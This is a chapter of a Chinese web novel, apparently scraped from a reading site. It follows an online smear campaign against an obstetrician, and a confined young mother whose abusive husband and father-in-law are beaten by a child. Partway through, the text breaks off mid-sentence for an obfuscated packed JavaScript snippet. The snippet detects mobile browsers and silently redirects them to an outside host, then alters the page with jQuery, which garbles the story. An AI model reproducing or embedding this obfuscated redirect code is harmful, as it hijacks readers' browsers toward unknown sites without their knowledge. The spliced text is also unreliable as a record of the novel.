36. 太阳
作品:《穿回男友高中时代》 许医生似乎不知道网上的事情,这让姜鹤稍微放了点心。
她离开后,找了许医生的同事询问情况。
“您说那件事?哎,我们也在瞒着……”
同科室的张医生压着声音解释道,又将事情的起因始末大概复述了一遍。
“谁能想到,医闹常常会有,但真没哪次有这么离谱的。那么严重的情况,许老都能把产妇从鬼门关拉回来。要知道,分娩遇见这种问题,能活下来都是奇迹,许老还保了她们母女平安。家属不送锦旗就算了,竟然还要闹,我真是怎么也想不通他们闹的理由,那家子和产妇是仇人吧?”
张医生年纪轻,自然不懂,姜鹤却是立刻明白了其中的关节。
这是旧时代遗留的疤痕。
————
世界是怎么脱离父权的束缚,奔向新世纪的呢?
姜鹤不知道。
她年轻时,曾无数次为此呐喊奋斗,觉得女性主义这条路似乎看不到尽头,是如此的艰难而漫长。
虎视眈眈、饿狼一般的父亲、丈夫、儿子,叫不醒的同胞,甚至连觉醒者内部也争论不休。
姜鹤甚至差点就要妥协了,这条路看起来太漫长,太坎坷,她已经失去了初时的激情与耐心,只想过好她自己。
直到名为“雪花”的组织出现。
“待寒冬过去,我将要焰火烧遍大地。”
姜鹤至今依然记得这句话。
“雪花”里的人斗志昂扬,决绝,暴虐,偏激,在出世时几乎受到了所有人的抵制与谩骂。
男人恐惧她们,女人不理解她们。
但姜鹤却觉得她们像一个奇迹,她们有着精妙绝伦的新思想,同时也有着掀桌的底气,和将一切执行下去的行动力。
她们不惧怕男人的反击,也不理会女人的劝说,只是输出自己的观点,然后再落实。
于是世界发生了翻天覆地的变化,姜鹤亲眼见证着,这个世界是如何掀翻了懦弱无能的父亲,迎回了她们真正的母亲。
姜鹤一直不觉得,个体的力量可以改变群体。
但“雪花”做到了。
她们像一个奇迹,母神赐予这个腐朽世界的奇迹。
当然,如今的主流虽然是女男平等,但在一些角落,仍有官方和“雪花”触及不到的阴影,在父权的阴霾下苟延残喘。
比如这次的医闹事件。
姜鹤谢过了张医生,又拜托她们继续帮忙隐瞒这件事,尽量不要让许医生受到这场医闹的影响,就去找院长了。
“难道你们要许医生一个人面对这件事吗?”她问道。
“她是你们的一份子,你们不来主动处理这场医闹,而将她推出来当挡箭牌,想要以最小的代价宁事息人……不觉得太无耻了吗?”
姜鹤其实也没想从院方这里得到什么回复,只是来警示几句,让对面别装死。毕竟后面还有更重要的事。
还是那句话,个体的力量是无法动摇群体的。医闹的家属固然可恶,但对错分明的事情,却能被造谣成这个样子,里面出力的绝不只有医闹一家。
追求流量的平台,事不关己的看客,装死的装死,逐利的逐利,最后竟逼得受害者要自证显而易见的清白。
等迟来的正义到了,再来上一场对死者探根究底的追溯,掉几滴假惺惺的眼泪,来一场英雌者生不逢时的狂欢。
看着车子上的脏污被一点点洗掉,沈安宴立在一旁,默默想着。
许医生这边目前没什么问题,所以现在最重要的是该如何解决舆论。
沈安宴刚才试了一下,想举报那几篇造谣的报道,甚至还转发给林跃她们让帮忙一起举报,结果依然没什么用。
好好好,封她的号封得倒是快准狠,到这事儿上又装瞎?
沈安宴差点要被气笑了。
车子洗好送到医院后,沈安宴正好遇上了匆匆赶来的姜暖和林鹿。
二人脸上还带着未消的余怒,见到沈安宴后才稍微缓和了一点面色。
沈安宴注意到两人衣服上沾染了些尘土,还有一点红色的脏污。她打过招呼,又问对面是不是遇上了什么事。
“真是一群疯子。”
林鹿拍了拍了袖口的灰尘,皱眉道:“刚来路上遇见了闹事的,拿着大字报要医院给说法,还给门口泼了一地血水……”
沈安宴问道:“闹事儿的是男人吗?”
姜暖面色有些凝重,闻言摇头道:“也有女人,不多。看起来像是专门搞医闹的,干这事儿挺熟练。”
林鹿补充道:“已经报过警了,但那群人精明得很,只是在那儿嚷嚷泼血,既没有打人,也没破坏公物,后续大概顶多被警告一下或者罚款,连牢都不用坐。”
沈安宴“嗯”了一声,心里却有点奇怪。那位产妇的家属只有两个男性,家境看起来也不是很好,就算要医闹,大概也只能亲自来,怎么还请得起专业的医闹团队呢?
姜暖和林鹿来时跟医闹的人群起了冲突,因此形容有些狼狈,也不适合去拜访许医生,几人便门口等姜老师出来。等汇合后,双方互通了一下信息,沈安宴也提出了自己的疑问。
林鹿恍然道:“也是哦,这种团队可不便宜,那家人既然想讹钱,怎么可能愿意干这种先掏钱的事儿。”
姜暖拧眉道:“不用担心,我今天就找家靠谱的安保团队,跟在许医生周围防那些闹事儿的人……还有媒体的事,我找找从事媒体行业的朋友,打听一下医闹报道的情况。”
姜老师点点头:“那好,我周围也有做新闻工作的朋友,看看能不能帮上忙。”
到这个地步,沈安宴也帮不上什么忙。姜老师便让对方先回学校,又保证如果有什么进展,会及时告诉她的。
沈安宴记挂着这件事,回去后依旧放心不下,一有时间就要上网看看相关报道的最新进展。
但形势仍不见好转,舆论甚至越演越烈。造谣喧嚣尘上,黑白不分的骂声越来越多。沈安宴初时还觉得气愤,但时间久了,
她慢慢察觉出了怪异之处。
许医生救治过的产妇很多,流言蜚语之下,为她发声澄清的人不在少数。但这些澄清的帖子却总在被限流、删除,为她发声或是反驳造谣的言论,也总被举报、封号。反而是那些颠倒黑白的,热度却不同寻常的高。
甚至有这样的言论——“让被切除子宫的产妇出来说话,如果真的有隐情,她为什么不出来发声?”
“真正的受害人都没说话,你们急什么?”
————
冬日寒冷,屋子背阴。坐在里面,湿冷的空气总是冻得人一阵接一阵的发抖。
今天难得是个晴天,阳光很好。赵柔抱着孩子,端了个小马扎坐在门口晒太阳。
阳光暖融融的,照在身体上很舒服。
赵柔眯起眼睛,轻轻摇晃着怀里的婴儿,听着路上来往的行人聊天。
“疯了吧,我都不懂这事儿有什么好吵的,一堆不会生孩子的男的搁那儿骂医生凭什么切人家子宫,人家子宫又没长他身上,咸吃萝卜淡操心。”
“我也听说了,能救下来就好,还管这管那的,真是白眼狼。”
“平台脑子也是有病,这种造谣的帖子还留着不删。”
…………
赵柔手上的动作一顿,有些茫然地看向那几个聊天的路人。她还想再听一点,但对方已经走远了。
赵柔的脑子有点木。
从记事起,赵柔就一直被关在家里。父亲说外面的世界很危险,如果她到了外面,一定会变坏。
“我们小柔要做个好女人,可不能像外面那些疯子,连自己爸爸都不认了。”
父亲总这么教她。
等赵柔大了,父亲又将她送去了另一户人家,告诉她,这家人里,年长一点的男人是她未来的爸爸,年轻一点的男人是她需要尊奉的丈夫。
生活于她而言并没有什么变化,她只是换了一个地方待着。屋子里的两个男人将她看得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470728|181207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很紧,哪怕她稍微到门口晃一下,都要大惊失色地将她拉回来。
“外面的都是魔鬼,巫女,疯子!你要是出去了,你也会变成和她们一样的怪物!”
两个男人这样对她说。
直到怀孕后,赵柔才第一次真正意义上的出了门。
那实在是个精彩的世界,尽管两个男人一直严密看守着她,但外面的、新的世界仍不可抵挡地映入了她的眼帘。
那些鲜活的、跃动的、缤纷的……
赵柔不觉得害怕,她只想在这个世界多停留一会儿。
她渴望与人们交流,尤其是女人,她长这么大以来竟从没有见过一个女人。
但好景不长,分娩的时候,她几乎要痛死了。她甚至害怕起生育这个东西。
还好医生说她以后不会再生育了,这样痛苦的经历只需要忍受一次。还有孩子……是个女儿,她喜欢女儿。
她也喜欢那个为她接生的医生,许医生人很好,面容慈祥,说话时温声细语,而且还很有学识。
这让她想到了妈妈,虽然赵柔并没有妈妈。
父亲说,她妈妈跑了,是个坏女人。
但赵柔并不这么觉得。
回忆被打断了,一个人站在了赵柔身前。
赵柔抬头看去,对面的人小小的,头发短短的,穿着一身厚实的棉袄,脸蛋被冻得通红,正好奇地打量着她。
赵柔笑了,她问道:“小弟弟,你怎么了?”
对面的小孩听到这一句话却皱起了眉毛,她纠正道:“我是女生。”
赵柔新奇地看了一眼对方的头发,摇头道:“你是女生?怎么留这么短的头发,一点也不好看,不像个女孩子……”
小孩的嘴巴撅起来了,她大声嚷嚷道:“你才不像个女的,病恹恹的,一点精神气都没有!”
赵柔也没生气,她笑着请教道:“那怎么样才算个女孩子呢?”
小孩正准备回答,一道像是口水没吐干净的声音响起了:“干什么呢干什么呢!哪儿来的野种,滚一边儿去!”
赵柔忍不住缩了缩脖子,她转头看去,是家里的小公牛回来了。
小公牛身后跟着老公牛,两人瞪了赵柔一眼,又张牙舞爪地要赶那个小孩走。
赵柔低着头,催促道:“你快些走吧,他们会打你的……”
小孩看她一眼,转身离开了。
小公牛大步走到赵柔身旁,气急败坏地骂道:“你这*子,谁让你到门口来的,是不是欠收拾了!啊!挑衅我是吧……”
小公牛很有自尊心,若是遇到没有按它心意来的事,就会觉得人家是在挑衅它。
赵柔尽可能顺从地回答:“我没有,屋里太冷了,我就是想出来晒个太阳……”
小公牛闻言却扬起了手,瞪大眼睛,仿佛受了天大的侮辱,怒喝道:“还敢顶嘴!你要翻了天是不……”
但小公牛这句话没能说完。
因为一只砖头砸在了他脑袋上,鲜血瞬间从裂开的头皮里流了出来。
小公牛见了血,“哞——”地一声更被激怒了,他转头看去,就见先前离开的那个小孩又回来了,砖头正是她砸过来的。
小公牛气急败坏地骂道:“那儿来的杂碎,看我不收拾你……”
小孩却一点儿也不怕,她眼珠子一转,朝对方做了个鬼脸,笑嘻嘻道:“你来呀你来呀,不来不是娘们儿!”
小公牛当即要上去打她,结果除了被小孩溜一圈,又被钢棍戳了小牛儿外,并没有再多的收获了。
老公牛见自家命根儿受辱,自然不肯罢休,也挺着把老骨头要上去帮忙。
结果被这蛮丫头一脚踹进了沟里。
看着两只公牛在地上“哞哞”地叫着打滚儿,小孩叉着腰,发出了畅快的大笑。
她一边笑一边对旁边已经看呆了的赵柔挥挥手,大声喊道:“你不是问我女人该是什么样子吗?”
她朝自己比了个大拇指:“就是这个样子!”